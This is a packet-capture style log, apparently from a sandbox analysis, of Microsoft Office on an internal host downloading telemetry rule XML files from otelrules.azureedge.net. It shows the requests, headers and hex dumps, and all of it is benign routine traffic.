2024-12-02 03:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 340b88d8-401e-0064-2ede-4154af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035930Z-174f7845968qj8jrhC1EWRh41s00000013s000000000kay9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:30 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 8c7215b7-001e-00ad-4224-44554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035930Z-174f7845968zgtf6hC1EWRqd8s0000000wrg00000000ptbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:30 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:30 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 931d4756-e01e-001f-0f26-401633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035930Z-174f7845968ljs8phC1EWRe6en00000013ug000000002sz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:30 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:30 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:31 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bdb61e3c-f01e-0099-1ac7-439171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035931Z-174f7845968zgtf6hC1EWRqd8s0000000wug00000000brps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:31 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:31 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 580008bf-301e-0000-1d8a-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035931Z-174f78459688l8rvhC1EWRtzr00000000gh00000000069mm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:32 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: ce4b1eeb-d01e-007a-68af-42f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035932Z-174f7845968ljs8phC1EWRe6en00000013v0000000001da4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:32 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 709a1193-501e-00a3-3559-43c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035932Z-174f78459688l8rvhC1EWRtzr00000000gg00000000090ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:32 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: ab5c89f2-601e-0002-2e6b-43a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035932Z-174f7845968glpgnhC1EWR7uec000000140g00000000dg4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:33 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:33 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: c562a2d5-001e-0082-3a33-445880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035933Z-174f78459685726chC1EWRsnbg0000001410000000002nt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:33 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:33 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:33 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 951aba40-201e-0085-5291-3f34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035933Z-174f7845968xr5c2hC1EWRd0hn0000000nu000000000458k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:33 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:34 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2150929f-401e-0064-4382-3f54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035934Z-174f7845968kvnqxhC1EWRmf3g0000000qtg000000001s40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:34 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:35 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97972df5-901e-008f-1591-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035935Z-174f7845968kdththC1EWRzvxn0000000g4g00000000kq3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:35 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI 